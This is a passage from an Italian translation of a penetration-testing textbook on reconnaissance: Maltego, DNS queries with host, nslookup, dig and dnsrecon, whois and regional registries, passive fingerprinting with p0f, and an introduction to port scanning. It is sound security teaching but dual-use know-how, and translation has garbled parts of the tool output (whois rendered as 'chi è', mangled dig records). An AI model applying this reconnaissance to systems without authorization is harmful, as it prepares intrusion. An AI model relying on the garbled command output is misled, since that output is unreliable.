Figura 3-3. Esecuzione di una macchina da Maltego
Durante questo processo, la macchina chiederà indicazioni su quali entità
includere ed escludere; quando la macchina avrà terminato, avrai un
grafico. Questo non è un grafico a cui potresti essere abituato. È un grafico
orientato che mostra le relazioni tra le entità. Al centro del grafico
risultante dalla macchina che abbiamo eseguito, possiamo vedere il nome
di dominio con cui abbiamo iniziato. Da lì si irradiano una varietà di entità.
L'icona per ogni entità indica il suo tipo. Ad esempio, un'icona che sembra
una scheda di interfaccia di rete è un'entità indirizzo IP. Altre entità
possono sembrare pile di sistemi che appartengono a record DNS e MX, a
seconda del loro colore. Puoi vedere un esempio di un grafico Maltego
nella Figura 3-4 .
Figura 3-4. Un grafico orientato in Maltego
Da ogni entità, puoi ottenere un menu contestuale facendo clic con il
pulsante destro del mouse. Sarai in grado di visualizzare le trasformazioni
che puoi quindi applicare all'entità. Se hai un nome host ma non hai il
relativo indirizzo IP, puoi cercare l'IP utilizzando una trasformazione.
Potresti anche, come puoi vedere nella Figura 3-5 , ottenere informazioni
da un registro Internet regionale associato all'entità. Questa sarebbe la
trasformazione whois fornita da ThreatMiner.
Ogni volta che applichi una trasformazione, ingrandisci il grafico. Più
trasformazioni hai, più dati puoi acquisire. Se inizi con una singola entità,
non ci vuole molto prima di avere molte informazioni. Saranno presentate
in un grafico orientato in modo da poter vedere le relazioni e puoi
facilmente fare clic su qualsiasi entità per ottenere dettagli aggiuntivi,
comprese le entità associate, sia in entrata che in uscita. Ciò può
semplificare la visualizzazione chiara di come le entità sono correlate tra
loro e da dove provengono i dati.
Se sei il tipo di persona che preferisce visualizzare le relazioni per ottenere
il quadro generale, potresti divertirti a usare Maltego. Naturalmente, hai
altri modi per ottenere le stesse informazioni che fornisce Maltego. È solo
un po' più laborioso e richiede sicuramente molta più digitazione.
Figura 3-5. Trasformazioni da applicare alle entità
Ricognizione DNS e whois
Il mondo di Internet ruota davvero attorno al DNS. Ecco perché le
vulnerabilità del DNS sono state prese così seriamente. Senza il DNS,
dovremmo tutti tenere a mente enormi tabelle host perché saremmo
costretti a ricordare tutti gli indirizzi IP che utilizziamo, compresi quelli che
cambiano costantemente. Dopotutto, è così che è nato il DNS in primo
luogo. Prima del DNS, un singolo file host memorizzava le mappature tra
indirizzi IP e nomi host. Ogni volta che un nuovo host veniva aggiunto alla
rete, e tieni presente che questo accadeva quando gli host sulla rete erano
grandi sistemi multiutente, il file host doveva essere aggiornato e quindi
inviato a tutti. Ciò non è sostenibile. Così è nato il DNS, distribuendo il
compito di mantenere tutte le mappature tra host e indirizzi IP e viceversa.
Il DNS in ultima analisi si riduce agli indirizzi IP. Tali indirizzi IP sono
assegnati ad aziende o organizzazioni. Per questo motivo, dobbiamo
parlare di registri Internet regionali (RIR). Quando si cerca di comprendere
l'ambito del proprio target, usare la ricognizione DNS andrà di pari passo
con l'uso di strumenti come whois per interrogare i RIR. Sebbene siano utili
insieme, ai fini della ricognizione, daremo prima un'occhiata alla
ricognizione DNS perché useremo parte dell'output per alimentare le
query dei RIR.
Ricognizione DNS
Il DNS è un sistema gerarchico. Quando esegui una ricerca DNS, invii una
richiesta a un server che probabilmente è vicino a te. Questo sarebbe un
server di caching , così chiamato perché il server memorizza nella cache le
risposte che riceve. Ciò rende le risposte alle richieste successive per le
stesse informazioni molto più veloci. Quando il server DNS a cui chiedi
riceve la tua query, supponendo che il nome host che stai cercando non sia
nella cache, inizia a cercare dove ottenere le tue informazioni. Potrebbe
farlo andando fino ai server radice, per i quali il server DNS locale
dovrebbe avere indirizzi IP, per ottenere l'indirizzo del server dei nomi di
dominio di primo livello. Questo server possiede i dettagli sul dominio di
primo livello, come .net, .com, .org o uno qualsiasi di centinaia di altri.
Quando si legge un FQDN, che è un nome che include il nome di dominio
(ad esempio, www.oreilly.com , che include il nome host www e il nome di
dominio oreilly.com ), si inizia dalla coda. La parte più a destra di un FQDN
è il dominio di primo livello (TLD). Le informazioni relative ai TLD sono
archiviate nei server radice. Se il nostro server DNS volesse cercare
www.oreilly.com , inizierebbe con il server radice per il TLD .com . Ciò che
deve fare è ottenere il server per oreilly.com . Questo processo di richiesta
a un server dopo l'altro è chiamato query iterativa , fintanto che il server
che chiede le informazioni contatta direttamente ogni server successivo.
Ciò contrasta con una query ricorsiva , in cui i server intermedi eseguono
alcune delle query per conto del sistema di avvio.
NOTA
Gli FQDN possono essere difficili da comprendere perché il concetto di nome di dominio a volte è
difficile da afferrare per le persone. Un nome di dominio a volte è usato come identificatore per un
singolo server o sistema, il che significa che è mappato su un indirizzo IP. A volte un nome come
oreilly.com può essere mappato sullo stesso indirizzo IP del server web (ad esempio, www.oreilly.com
), ma ciò non significa che siano sempre gli stessi. Il nome di dominio è oreilly.com . A volte può
contenere un indirizzo IP come se fosse un host. Un nome come www o mail è un nome host e può
essere usato da solo se la configurazione DNS locale sapesse di cercare nei domini a cui appartieni. Per
essere specifici sul dominio a cui appartiene il nome host, utilizziamo l'FQDN, che include sia il nome
del singolo sistema sia il dominio a cui appartiene l'host.
Una volta che il server DNS ha il server TLD per .com , chiede a quel server
informazioni relative a oreilly.com . Una volta che ha quel name server,
invia un'altra query al name server chiedendo informazioni su
www.oreilly.com . Il server a cui chiede queste informazioni è il name
server autorevole per il dominio che stiamo cercando. Quando chiedi
informazioni al tuo server, ciò che otterrai in risposta è una risposta non
autorevole. Sebbene provenga originariamente da un server autorevole,
quando arriva a te, è passata attraverso il tuo server locale, quindi non è
più considerata autorevole. Ogni dominio ha server autorevoli configurati.
Il nome di dominio oreilly.com ha sei server autorevoli configurati, ad
esempio. Se chiedi a qualsiasi altro server informazioni nel dominio
oreilly.com , otterrai una risposta non autorevole.
Un approccio per ottenere un indirizzo IP è usare l' utilità host . È veloce e
facile. Non fornisce molte informazioni, a parte quelle che hai chiesto.
Altri strumenti ti daranno più controllo sui server da cui stai richiedendo
informazioni. L'esempio 3-9 mostra l'uso dell'utilità host rispetto al FQDN
www.oreilly.com .
Esempio 3-9. Utilizzo dell'host
┌──(kilroy@badmilo)-[~] └─$ host www.oreilly.com
www.oreilly.com è un alias per www.oreilly.com.e
www.oreilly.com.edgekey.net è un alias per e4619
e4619.g.akamaiedge.net ha indirizzo
104.104.104.60
Possiamo usare molti altri strumenti per ottenere informazioni dai server
DNS, però. Questi strumenti ci daranno molto più controllo di quello che
possiamo usare per la ricognizione.
Utilizzo di nslookup e dig
Uno strumento che possiamo usare per interrogare i server DNS è nslookup
. Questo strumento emetterà delle query sul server DNS che hai
configurato, se non gli dici di usare un server diverso. Nell'esempio 3-10 ,
puoi vedere un'istanza di utilizzo di nslookup per interrogare il mio server
DNS locale. Nella risposta, abbiamo ricevuto una risposta non autorevole.
Puoi vedere il name server che è stato usato per la ricerca.
Esempio 3-10. Utilizzo di nslookup
┌──(kilroy2badmilo)-[~]
└─$ nslookup www.oreilly.com
Indirizzo del server: 192.168.1.1
Indirizzo: 192.168.1.1#53
Risposta non autorevole:
www.oreilly.com nome canonico = www.oreilly.com
www.oreilly.com.edgekey.net nome canonico = Nome:
e4619.g.akamaiedge.net
Indirizzo: 104.104.104.60
In quella richiesta, il server locale ci ha fornito una risposta, ma ci sta
dicendo che è una risposta non autorevole. Ciò che abbiamo ricevuto per
questo FQDN è una serie di alias che culminano nell'indirizzo IP, dopo che
tutti gli alias sono stati srotolati. Per ottenere una risposta autorevole,
dobbiamo chiedere al name server autorevole il dominio. Per farlo,
possiamo usare un'altra utility che eseguirà ricerche DNS. Useremo il
programma dig e gli chiederemo il record del name server. Puoi vederlo
nell'Esempio 3-11 .
Esempio 3-11. Utilizzo di dig
┌──(kilroy@badmilo)-[~]
└─$ dig ns oreilly.com
; <<>> DiG 9.18.13-1-Debian <<>> ns oreilly.com
;; opzioni globali: +cmd
;; Ottenuto risposta:
;; ->>HEADER<<- codice operativo: QUERY, stato:
NOERROR, i
;; flag: qr rd ra; QUERY: 1, RISPOSTA: 6,
AUTORITÀ
;; OPT PSEUDOSEZIONE:
; EDNS: versione: 0, flag:; udp: 512
;; SEZIONE DOMANDA:
;oreilly.com. IN NS
;; SEZIONE RISPOSTE:
oreilly.com. 3600 IN NS a oreilly.com. 3600 IN NS
a oreilly.com. 3600 IN NS a oreilly.com. 3600 IN
NS a oreilly.com. 3600 IN NS a oreilly.com. 3600
IN NS a
;; SEZIONE AGGIUNTIVA:
a3-67.akam.net. 5997 IN UN 9 a3-67.akam.net. 59586
IN AAAA 2 a1-225.akam.net. 89047 IN UN
a1-225.akam.net.
89488
NELLA
AAAA
2
a464.akam.net. 9596 NELLA A 7 a4-64.akam.net. 13503
NELLA AAAA 2 a20-66.akam.net. 7359 NELLA A 9 a2066.akam.net. 8658 NELLA AAAA 2 a16-65.akam.net.
6725 NELLA A 2 a16-65.akam.net. 59139 NELLA AAAA
2
a13-64.akam.net.
88094
NELLA
A
2
a1364.akam.net. 55852 NELLA AAAA 2
;; Tempo di query: 56 msec
;; SERVER: 192.168.1.1#53(192.168.1.1) (UDP)
;; QUANDO: lunedì 26 giugno 18:31:23 EDT 2023
;; DIMENSIONE MSG ricevuto: 436
A questo punto, potremmo continuare a usare dig , ma torneremo a usare
nslookup in modo da poter vedere chiaramente le differenze nei risultati.
Quando eseguiamo di nuovo nslookup , specifichiamo il server che stiamo
per interrogare. In questo caso, useremo uno dei name server elencati
nell'Esempio 3-10 . Lo facciamo aggiungendo il name server che vogliamo
interrogare alla fine della riga che stavamo usando prima. Puoi vedere
come funziona nell'Esempio 3-12 .
Esempio 3-12. Utilizzo di nslookup e specificazione del server DNS
┌──(kilroy@badmilo)-[~]
└─$ nslookup www.oreilly.com a3-67.akam.net
Server: a3-67.akam.net Indirizzo:
2600:1408:1c::43#53
Nome canonico www.oreilly.com = www.oreilly.com
Nome canonico www.oreilly.com.edgekey.net =
┌──(kilroy@badmilo)-[~] └─$ nslookup
e4619.g.akamaiedge.net.
Indirizzo del server: 192.168.1.1
Indirizzo: 192.168.1.1#53
Risposta non autorevole:
Nome: e4619.g.akamaiedge.net
Indirizzo: 104.104.104.60
La query originale genera un alias, quindi per ottenere un indirizzo IP,
dobbiamo cercare l'indirizzo IP dall'FQDN finale. Potremmo fare qualche
ricerca aggiuntiva qui per capire il server autorevole per il dominio
g.akamaiedge.net , ma probabilmente ci darà la stessa risposta della
risposta non autorevole. Potresti notare che g.akamaiedge.net include non
solo il dominio akamaiedge.net ma anche un sottodominio, g . La raccolta
di caratteri prima del primo punto da sinistra è il nome host. Tutto ciò che
va oltre è il dominio, il che rende g un sottodominio di akamaiedge.net .
Quando abbiamo l'indirizzo IP per l'FQDN, potremmo essere in grado di
usare quell'indirizzo IP per identificare altri indirizzi IP che appartengono al
target del nostro test. Per fare questo, però, dovremo salire di un livello
rispetto al DNS. Da qui, daremo un'occhiata all'uso del programma whois
per ottenere maggiori dettagli sul nostro target. Lo faremo in "Utilizzando
whois " .
Automazione della riconciliazione DNS
L'utilizzo di strumenti come host e nslookup ci fornirà molti dettagli, ma
ottenere quei dettagli un pezzo alla volta può richiedere molto tempo.
Invece di utilizzare strumenti manuali uno alla volta, possiamo utilizzare
altri programmi che possono fornirci blocchi di informazioni. Una delle
sfide nell'utilizzo di uno qualsiasi di questi strumenti è che spesso si basano
sulla capacità di effettuare trasferimenti di zona. Un trasferimento di zona
in termini DNS è solo un download di tutti i record associati a una zona.
Una zona nel contesto di un name server è una raccolta di informazioni
correlate. Nel caso del dominio oreilly.com , sarebbe probabilmente
configurato come una zona a sé stante. In quella zona ci sarebbero tutti i
record che appartenevano a oreilly.com , come l'indirizzo del server web, il
server di posta elettronica e altri record.
Poiché avviare trasferimenti di zona può essere un modo efficace per
eseguire una ricognizione nei confronti di un'azienda, non è comunemente
consentito. Uno dei motivi per cui esistono è che i server di backup
richiedono un trasferimento di zona dal server primario per mantenerli
sincronizzati. Di conseguenza, nella maggior parte dei casi non sarai in
grado di ottenere un trasferimento di zona a meno che il tuo sistema non
sia stato specificamente autorizzato ad avviare un trasferimento di zona e
ottenere quei dati.
Ma non temere. Sebbene alcuni strumenti si aspettino di poter effettuare
trasferimenti di zona, possiamo usare altri strumenti per ottenere dettagli
sugli host. Uno di questi è dnsrecon , che non solo proverà i trasferimenti di
zona, ma testerà anche gli host dagli elenchi di parole. Per usare gli elenchi
di parole con dnsrecon , fornisci un file pieno di nomi host che verrebbero
anteposti al nome di dominio specificato. Ce ne sono di semplici come
www , mail , smtp , ftp e altri che potrebbero essere specifici per i servizi.
Tuttavia, l'elenco di parole fornito con dnsrecon ha oltre 1.900 nomi.
Utilizzando questo elenco di parole, dnsrecon può potenzialmente trovare
host che potresti non pensare esistano.
Tutto questo presuppone che il tuo target abbia questi host nel suo server
DNS disponibile esternamente. La cosa grandiosa del DNS è che è
gerarchico ma anche sostanzialmente disconnesso. Pertanto, le
organizzazioni possono usare DNS split . Ciò significa che i sistemi interni
all'organizzazione possono essere indirizzati a server DNS autorevoli per il
dominio. Gli host che sono archiviati nel server DNS interno e i loro indirizzi
IP potrebbero essere diversi dal server DNS visto dal mondo esterno. Ciò
includerebbe host di cui l'azienda non vuole che le parti esterne siano a
conoscenza. Poiché i server root non sanno nulla di questi server dei nomi,
non c'è modo per gli utenti esterni di cercare questi host senza andare
direttamente ai server dei nomi interni, che normalmente non sarebbero
raggiungibili dall'esterno dell'organizzazione.
Detto questo, non dovresti scoraggiarti dall'usare dnsrecon . Ci sono ancora
molte informazioni da ottenere. Nell'esempio 3-13 , puoi vedere i risultati
parziali dell'esecuzione di dnsrecon su un dominio di mia proprietà che usa
Google Apps for Business. Nell'output, puoi vedere il record TXT che era
necessario per indicare a Google che ero il registrante del dominio e avevo
il controllo delle voci DNS. Questo potrebbe essere un record che vedi con
domini ospitati da provider terzi. Puoi anche vedere i name server per il
dominio. Questo è un output parziale perché una quantità sostanziale di
output deriva dall'uso di questo strumento. Per ottenere questo output, ho
usato il comando dnsrecon -d cloudroy.com -D
/usr/share/dnsrecon/namelist.txt .
Esempio 3-13. Utilizzo di dnsrecon per raccogliere informazioni DNS
┌──(kilroy@badmilo)-[~]
└─$ dnsrecon -d cloudroy.com -D /usr/share/dnsrec
[*] std: Esecuzione dell'enumerazione generale
su:
[!] La risoluzione con caratteri jolly è
abilitata su questo dominio
[!] Si sta risolvendo a 208.91.197.39
[!] Tutte le query verranno risolte in questo
elenco di add
[*] DNSSEC è configurato per cloudroy.com [*]
DNSKEY: [*] NSEC3 KSk RSASHA256
03010001930e1f6af3a8c
b1694c4af2533242a0797c55edb22276 a870275c
4fdf05e1f7fdee5c0b8ef75be967b3ec da1563e3
fdd41dd7a3208f798244e906a34c0409 4691d0dd
201f21ebd48836302a0e08d907320702 376d4628
297b64f585f797a3de682051f8fe07e2 9964c86c
b3baf3e3644058886f481e7452b7477a 17371d76
937fcecf865950e1dd316a51c503d0da 1e0a6e2f
d96e12e03989f05a63d5803e6f20da49 e79bd583 [*]
NSEC3 ZSK RSASHA256 03010001b8b61cdba5b05
c4a46d8a925fe65f0db41c3de586956b 03d9f37a
c44be348f04b31e33175fbc7c1dac2b3 3bf1e520
f2ea00bb587f2353a5586285cd619a9b 65545fc0
02adf14002dc005539a1139b366ae52a 1ba30a05
[*] SOA ns-cloud-a1.googledomains.com 216.23
[*] SOA ns-cloud-a1.googledomains.com 2001:4
[*] NS ns-cloud-a1.googledomains.com 216.239
[*] NS ns-cloud-a1.googledomains.com 2001:48
[*] NS ns-cloud-a2.googledomains.com 216.239
[*] NS ns-cloud-a2.googledomains.com 2001:48
[*] NS ns-cloud-a3.googledomains.com 216.239
[*] NS ns-cloud-a3.googledomains.com 2001:48
[*] NS ns-cloud-a4.googledomains.com 216.239
[*] NS ns-cloud-a4.googledomains.com 2001:48
[*] MX alt3.aspmx.l.google.com 142.250.27.27
[*] MX alt4.aspmx.l.google.com 142.250.153.2 [*]
MX aspmx.l.google.com 172.253.122.26
[*] MX alt1.aspmx.l.google.com 209.85.202.26
[*] MX alt2.aspmx.l.google.com 64.233.184.27
[*] MX alt3.aspmx.l.google.com 2a00:1450:402
[*] MX alt4.aspmx.l.google.com 2a00:1450:40
[*] MX aspmx.l.google.com 2607:f8b0:4004:c08
[*] MX alt1.aspmx.l.google.com 2a00:1450:400
[*] MX alt2.aspmx.l.google.com 2a00:1450:400
[*] Un cloudroy.com 208.91.197.39
[*] TXT cloudroy.com google-site-verificatio
BItql6r1qKt34QmMcqE8jqCg
[*] TXT cloudroy.com v=spf1 include:_spf.goo
[*] Enumerazione dei record SRV
[+] 0 record trovati
Sebbene fosse abbastanza ovvio dai record MX, il record TXT chiarisce che
questo dominio sta usando Google per i servizi di hosting. Questo non
significa che trovare solo il record TXT racconti questa storia. In alcuni casi,
un'organizzazione può cambiare provider di hosting o non usare più il
servizio che richiedeva il record TXT senza rimuovere il record TXT. Poiché
non c'è nulla di male nel lasciare quel record nella zona DNS, le
organizzazioni possono lasciare questo detrito in giro anche dopo che non
è più necessario. Anche sapere che una volta hanno usato quei servizi può
dirti alcune cose, quindi usare uno strumento come dnsrecon per estrarre
quante più informazioni DNS possibili potrebbe essere utile mentre stai
lavorando sui tuoi test.
L'output nell'esempio 3-13 mostra che le protezioni della posta sono in
atto su questo dominio, il che potrebbe essere uno dei modi più semplici
per identificare alcune delle protezioni della posta comuni. Una di queste
protezioni comuni è il Sender Policy Framework (SPF). Questo è visibile nel
secondo record TXT, che mostra l'uso di SPF versione 1 e il riferimento a
spf.google.com per la gestione di SPF. Puoi anche vedere che la sicurezza
DNS è in atto sul dominio, incluse le chiavi per il dominio.
Registri Internet regionali
Internet è gerarchica. Tutti i numeri che vengono assegnati, che siano
numeri di porta registrati, blocchi di indirizzi IP o numeri di sistema
autonomo (AS), vengono distribuiti dall'Internet Corporation for Assigned
Names and Numbers (ICANN). L'ICANN, a sua volta, fornisce alcune di
queste assegnazioni agli RIR, che sono responsabili di diverse regioni del
mondo. Di seguito sono riportati gli RIR che esistono nel mondo oggi:
L'African Network Information Center (AFRINIC) è responsabile per
l'Africa.
L'American Registry for Internet Numbers (ARIN) è responsabile per il
Nord America, l'Antartide e parti dei Caraibi. L'Asia Pacific Network
Information Centre (APNIC) è responsabile per l'Asia, l'Australia, la Nuova
Zelanda e altri paesi limitrofi.
Il Latin America and Caribbean Network Information Centre (LACNIC) è
responsabile per l'America centrale e meridionale e per alcune parti dei
Caraibi.
Il Centro di coordinamento della rete Réseaux IP Européens (RIPE NCC) è
responsabile per Europa, Russia, Medio Oriente e Asia centrale.
Gli RIR gestiscono gli indirizzi IP per queste regioni e anche i numeri AS. I
numeri AS sono necessari alle aziende per il loro routing. Ogni numero AS
è assegnato a una rete sufficientemente grande da condividere
informazioni di routing con provider di servizi Internet e altre
organizzazioni. I numeri AS sono utilizzati dal Border Gateway Protocol
(BGP), che è il protocollo di routing utilizzato in Internet. All'interno delle
organizzazioni, vengono in genere utilizzati altri protocolli di routing, tra cui
Open Shortest Path First (OSPF), ma BGP è il protocollo utilizzato per
condividere tabelle di routing da un AS all'altro.
Utilizzo di whois
Per ottenere informazioni da uno qualsiasi degli RIR, possiamo usare
l'utilità whois. Questo programma da riga di comando è incluso in qualsiasi
distribuzione di Linux. Utilizzando whois, possiamo identificare i proprietari
dei blocchi di rete. L'esempio 3-14 mostra una query whois che cerca il
proprietario della rete 8.9.10.0. La risposta ci mostra a chi è stato fornito
l'intero blocco. Ciò che vedi in questo esempio è un grande blocco di
indirizzi. Blocchi così grandi appartengono o ad aziende che li hanno avuti
da quando sono stati distribuiti i primi indirizzi o a fornitori di servizi.
Esempio 3-14. Query whois di un blocco di rete
┌──(kilroy@badmilo)-[~]
└─$ chi è 8.9.10.0
#
# I dati e i servizi ARIN WHOIS sono soggetti a
# disponibile su:
https://www.arin.net/resources/re
#
# Se noti delle inesattezze nei risultati, per
favore
# https://www.arin.net/resources/registry/whois/i
#
# Copyright 1997-2023, Registro americano per
l'inter
#
NetRange: 8.0.0.0 - 8.127.255.255
Versione: 8.0.0.0/9
Nome della rete: LVLT-ORG-8-8
NetHandle: NET-8-0-0-0-1
Genitore: NET8 (NET-8-0-0-0-0)
NetType: Allocazione diretta OriginAS:
Organizzazione: Livello 3 Parent, LLC (LPL-141)
Data di registrazione: 1992-12-01
Aggiornato: 2018-04-23
Rif: https://rdap.arin.net/registry/ip
Nome organizzazione: Livello 3 Parent, LLC
OrgId: LPL-141
Indirizzo: 100 CenturyLink Drive
Città: Monroe
StatoProv: LA
CAP: 71203
Paese: Stati Uniti
Data di registrazione: 2018-02-06
Aggiornato: 2023-04-07
Commento: L'USO DELLO SPAZIO IP DEVE CONFORMARSI
A
Commento: https://www.lumen.com/en-us/about Quando
blocchi più grandi vengono suddivisi, una ricerca whois ti dirà non solo chi
possiede il blocco che stai cercando, ma anche il blocco padre e da chi
proviene. Prendiamo un altro pezzo dall'intervallo 8.0.0.0–8.255.255.255.
L'esempio 3-15 mostra un sottoinsieme di quel blocco. Questo appartiene
a Google, come puoi vedere. Tuttavia, prima dell'output che vedi qui,
vedresti lo stesso blocco che hai visto nell'esempio precedente, dove
Level 3 Communications possiede metà del blocco 8 .
Esempio 3-15. Query whois che mostra un blocco figlio
Intervallo di rete: 8.8.8.0 - 8.8.8.255
Numero di serie: 8.8.8.0/24
Nome di rete: LVLT-GOGL-8-8-8
NetHandle: NET-8-8-8-0-1
Genitore: LVLT-ORG-8-8 (NET-8-0-0-0-1)
NetType: OriginAS riassegnato:
Organizzazione: Google LLC (GOGL)
Data di registrazione: 2014-03-14
Aggiornato: 2014-03-14
Rif: https://rdap.arin.net/registry/ip
Nome organizzazione: Google LLC
OrgId: GOGL
Indirizzo: 1600 Amphitheatre Parkway
Città: Mountain View
StatoProv: CA
CAP: 94043
Paese: Stati Uniti
Data di registrazione: 2000-03-30
Aggiornato: 2019-10-31 Commento: Si prega di
notare che i consigli si trovano nei seguenti
link. Commento:
Commento: Per segnalare abusi e attività illegali
Commento:
Commento: Per richieste legali: http://suppo
Commento:
Commento: Cordiali saluti,
Commento: Il team di Google
Rif: https://rdap.arin.net/registry/en
OrgTechHandle: ZG39-ARIN
Nome OrgTech: Google LLC
OrgTechTelefono: +1-650-253-0000
OrgTechEmail: arin-contact@google.com
Riferimento OrgTech:
https://rdap.arin.net/registry/ent
OrgAbuseHandle: ABUSE5250-ARIN
OrgAbuseName: Abuso
OrgAbuseTelefono: +1-650-253-0000
E-mail OrgAbuse: network-abuse@google.com
Riferimento OrgAbuse:
https://rdap.arin.net/registry/en
Possiamo usarlo per prendere un indirizzo IP che abbiamo individuato,
come un server web o un server di posta elettronica, e determinare chi
possiede l'intero blocco. In alcuni casi, come il server web O'Reilly, il blocco
appartiene a un fornitore di servizi, quindi non saremo in grado di ottenere
altri obiettivi da quel blocco. Tuttavia, quando trovi un blocco che
appartiene a una società specifica, hai diversi indirizzi IP di destinazione.
Questi blocchi IP saranno utili in seguito, quando inizieremo a fare una
ricognizione più attiva. Nel frattempo, puoi anche usare dig o nslookup per
trovare i nomi host che appartengono agli indirizzi IP.
Per trovare il nome host dall'IP, l'organizzazione deve avere una zona
inversa configurata. Per cercare il nome host dall'indirizzo IP, devono
esserci record di puntatori (PTR) per ogni indirizzo IP nel blocco a cui è
associato un nome host. Tieni presente, tuttavia, che non esiste
necessariamente una relazione tra la ricerca inversa e la ricerca diretta. Se
www.foo.com si risolve in 1.2.3.42, ciò non significa che 1.2.3.42 si risolve
necessariamente in www.foo.com . Gli indirizzi IP possono puntare a
sistemi che hanno molti scopi e potenzialmente più nomi per
corrispondere a tali scopi.
Ricognizione passiva
Spesso, il lavoro di ricognizione può comportare il curiosare
nell'infrastruttura che appartiene al bersaglio. Tuttavia, non è necessario
sondare attivamente la rete bersaglio. Attività come le scansioni delle
porte, di cui parleremo più avanti, possono essere rumorose e attirare
l'attenzione sulle tue azioni. Potresti non volere questa attenzione finché
non sei pronto a lanciare davvero gli attacchi. Puoi continuare a raccogliere
informazioni in modo passivo semplicemente interagendo con i sistemi
esposti in modo normale. Ad esempio, potresti semplicemente navigare
nelle pagine web dell'organizzazione e raccogliere informazioni. Un modo
in cui possiamo farlo è usare il programma p0f .
p0f funziona osservando il traffico ed estraendo dati potenzialmente
interessanti dai pacchetti mentre passano. Ciò può includere informazioni
rilevanti dalle intestazioni, in particolare indirizzi di origine e destinazione e
porte. Puoi vedere dove p 0f ha estratto i dettagli sui sistemi operativi
nell'esempio 316. Puoi anche vedere che la versione del server HTTP su
un'estremità della conversazione è stata identificata, perché è stata
estratta dalle intestazioni che sono tornate dal server. Ciò è possibile
perché la comunicazione non è crittografata. p0f non ha la capacità di
estrarre informazioni da un flusso di comunicazione crittografato.
Esempio 3-16. Output da p0f
.-[ 192.168.1.253/54072 -> 192.168.1.15/80
(sin.)
|
| cliente = 192.168.1.253/54072
| sistema operativo = Linux 2.2.x-3.x
| distanza = 0
| parametri = generico
| raw_sig = 4:64+0:0:1460:mss*44,7:mss,sok,ts,no
|
`---.-[ 192.168.1.253/54072 -> 192.168.1.15/80 (sin+
|
| server = 192.168.1.15/80 |
os = ???
| distanza = 0
| parametri = nessuno
| raw_sig = 4:64+0:0:1460:mss*45,7:mss,sok,ts,no
|
`---.-[ 192.168.1.253/54072 -> 192.168.1.15/80 (mtu)
|
| server = 192.168.1.15/80
| link = Ethernet o modem
| valore_mtu_grezzo = 1500
|
U
N
`---.-[ 192.168.1.253/54072 -> 192.168.1.15/80 (uptim
|
| cliente = 192.168.1.253/54072
| uptime = 31 giorni 10 ore 49 min (modulo 49
giorni
| frequenza_grezza = 1001,18 Hz
|
`---.-[ 192.168.1.253/54072 -> 192.168.1.15/80 (uptim
|
| server = 192.168.1.15/80
| uptime = 14 giorni 3 ore 45 min (modulo 49
giorni
| frequenza_grezza = 1000,11 Hz
|
`---.-[ 192.168.1.253/54072 -> 192.168.1.15/80 (http
|
| cliente = 192.168.1.253/54072 |
applicazione = ???
| lang = nessuno
| parametri = anonimo
| raw_sig = 1:Host:UserAgent,Connessione,Accetta Accept-Charset,KeepAlive:
|
`----
.-[ 192.168.1.253/54072 -> 192.168.1.15/80 ( http
|
| server
= 192.168.1.15/80
| app
| lang
= Apache 2.x
= none
| params
| raw_sig
= none
= 1:Date,Server,?Set-Cookie,?Set-Cooki
?Pragma,?Location,?Content-Length,Content-Type:Co
Accept-Ranges:Apache/2.4.55 (Ubuntu)
|
`----
traffico che passa per il sistema. Devi interagire con i sistemi su cui vuoi
eseguire una ricognizione passiva. Dal momento che stai interagendo con
servizi disponibili al pubblico, probabilmente non verrai notato e il sistema
remoto non avrà idea che stai usando p0f contro di lui. Non c'è un
coinvolgimento attivo con i servizi remoti per richiedere maggiori dettagli.
Otterrai solo ciò che i servizi con cui ti impegni sono disposti a fornire.
Il lato su cui è più probabile ottenere informazioni è l'estremità locale. Il
motivo è che può cercare informazioni dall'indirizzo MAC, fornendo
dettagli del fornitore in modo da poter vedere il tipo di dispositivo che sta
comunicando. Come con altri programmi di cattura pacchetti, ci sono modi
per ottenere traffico sul tuo sistema che non è specificamente destinato lì
utilizzando un hub o uno span di porte su uno switch o persino eseguendo
spoofing. L'indirizzo MAC proviene dall'intestazione di livello 2, che viene
estratta quando un pacchetto attraversa un confine di livello 3 (router).
Una nuova intestazione viene rimessa quando il pacchetto viene inviato
sulla successiva interfaccia di rete.
Sebbene le informazioni che puoi ottenere dalla ricognizione passiva
usando uno strumento come p0f siano limitate a ciò che il servizio e il
sistema rilasceranno comunque, usare p0f allevia il lavoro manuale che
potrebbe altrimenti essere necessario per estrarre questo livello di
dettaglio. Il vantaggio più grande nell'usare p0f è che puoi estrarre
rapidamente i dettagli senza fare il lavoro da solo, ma non stai nemmeno
sondando attivamente i sistemi target. Questo ti aiuta a tenerti fuori dal
radar di qualsiasi sistema di monitoraggio o team sul tuo target.
Scansione delle porte
Una volta che hai finito di raccogliere quante più informazioni possibili
senza sondare attivamente e rumorosamente le reti di destinazione, puoi
passare alla fase di "fare rumore" con le scansioni delle porte. Questo
viene comunemente fatto usando gli scanner delle porte, anche se le
scansioni non devono necessariamente essere ad alto traffico e rumorose.
La scansione delle porte usa i protocolli di rete per estrarre informazioni
dai sistemi remoti per determinare quali porte sono aperte. Usiamo la
scansione delle porte per determinare quali applicazioni sono in
esecuzione sul sistema remoto. Le porte aperte possono dirci molto su
quelle applicazioni. In definitiva, ciò che stiamo cercando sono modi per
entrare nel sistema. Le porte aperte sono i nostri gateway.
Una porta aperta significa che un'applicazione è in ascolto su quella porta.
Se nessuna applicazione è in ascolto, la porta non sarà aperta. Le porte
sono il modo in cui ci rivolgiamo al livello di trasporto, il che significa che
vedrai comunemente applicazioni che utilizzano TCP o UDP per le loro
esigenze di trasporto, a seconda dei requisiti dell'applicazione. L'unica cosa
in comune tra entrambi i protocolli di trasporto è il numero di porte
disponibili. Ci sono 65.536 possibili valori di porta (0–65.535).
Mentre esegui la scansione delle porte, non vedrai alcuna porta utilizzata
sul lato client. Ad esempio, non puoi eseguire la scansione del mio
computer desktop e determinare le connessioni che ho aperto a siti Web,
server di posta elettronica e altri servizi. Puoi rilevare solo le porte che
hanno degli ascoltatori su di esse. Quando hai aperto una connessione a
un altro sistema, non hai una porta in stato di ascolto. Invece, il tuo
sistema operativo accetterà un pacchetto in arrivo dal server con cui stai
comunicando e determinerà che un'applicazione è in attesa di quel
pacchetto, in base a una quadrupla di informazioni (indirizzi IP di origine e
destinazione e porte).
Poiché esistono differenze tra i due protocolli di trasporto, le scansioni
funzionano in modo diverso. Alla fine, stai cercando porte aperte, ma il
mezzo per determinare tale informazione è diverso. Kali Linux è dotato di
strumenti di scansione delle porte. Lo standard de facto per la scansione
delle porte è nmap , quindi inizieremo a usarlo dopo aver spiegato i tipi di
